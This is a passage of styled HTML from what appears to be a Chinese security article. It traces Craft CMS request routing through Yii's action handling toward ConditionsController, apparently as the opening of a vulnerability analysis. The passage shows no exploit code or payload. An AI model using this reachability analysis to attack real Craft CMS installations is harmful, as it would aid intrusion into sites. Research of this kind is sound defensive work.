&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Controller</span></p><span leaf="">基类，首先尝试构造到达</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionsController</span></p><span leaf="">的请求路由。</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Craft CMS</span></p><span leaf="">是基于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Yii</span></p><span leaf="">框架进行的二次开发，在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">index.php</span></p><span leaf="">通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Application::run</span></p><span leaf="">进行初始化启动。一直往下走将在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Application::_processActionRequest</span></p><span leaf="">函数中判断是否存在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Action</span></p><span leaf="">：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008286" class="rich_pages wxw-img" data-ratio="0.5328753680078508" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=eef327f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRqh8ZZViaXia7vibTQy6mlXribOspVh0enXMdBOvAZL2d08LicnvoQia8Lia3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">跟进</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\craft\web\Request::getIsActionRequest</span></p><span leaf="">，内部调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">checkIfActionRequest</span></p><span leaf="">来获取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_isActionRequest</span></p><span leaf="">并返回：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008287" class="rich_pages wxw-img" data-ratio="0.6728880157170923" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=2d36bf34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRAl4T77SwMYlhhVwTCiaCuunXmBBppWkMEwYp7Mgl6ULEXjIicTvFzP2Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008284" class="rich_pages wxw-img" data-ratio="0.42337917485265225" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=dafe1174&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR1Fssx8fByUbhm5PBwCaeUyBQNGUQ8lWVTibJnzh1k8jqA9dpjJKFUjw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">在请求中添加</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action</span></p><span leaf="">参数，并使用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/</span></p><span leaf="">对字符串进行分割：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008289" class="rich_pages wxw-img" data-ratio="0.3493150684931507" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d8839d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR2AqYjLic2wYPxuia24IM36OVLPkWJV8Qg4cFBDLNhtHkCAb99ZuicicLRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008288" class="rich_pages wxw-img" data-ratio="0.23452768729641693" data-type="png" data-w="921" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=0b4f8034&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR8tzgwH85jmWbVyIPK91mCZS96IS4NV2YdWGk6ia7wkegCYdsXEc4SMw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Module::runAction</span></p><span leaf="">函数，内部将利用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Module::createController</span></p><span leaf="">函数获取控制器对象 ：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008290" class="rich_pages wxw-img" data-ratio="0.2788649706457926" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=ce9b1bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRYOIO2NQAicNnbwqNER4UjtpACLI6ymQVKHgQX2SSX3GVG82UBbibLEWQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">利用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/</span></p><span leaf="">将</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$route</span></p><span leaf="">变量分割为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$id</span></p><span leaf="">和</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$route</span></p><span leaf="">，然后通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createControllerByID</span></p><span leaf="">来提取控制器对象：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008291" class="rich_pages wxw-img" data-ratio="0.6581782566111655" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a910ac2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRfy8uJ1pyGFD8NGkBxAMuEcEfTHCQZicPSYZpJHJGEF3v4mibKmLXZnDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">从</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createControllerByID</span></p><span leaf="">函数的实现来看，要求类名（</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">a</span></p><span leaf="">变成了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">craft\controllers\AController</span></p><span leaf="">）必须位于命令空间</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">craft\controllers</span></p><span leaf="">之下，并且继承</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Controller</span></p><span leaf="">类：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008292" class="rich_pages wxw-img" data-ratio="0.7463126843657817" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=eecd03f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkReBmww6HpBM0dh1Dce99EAYic0rQ6DqKJwgBLfBRO5GzYzBwQNcspIUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">以</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft 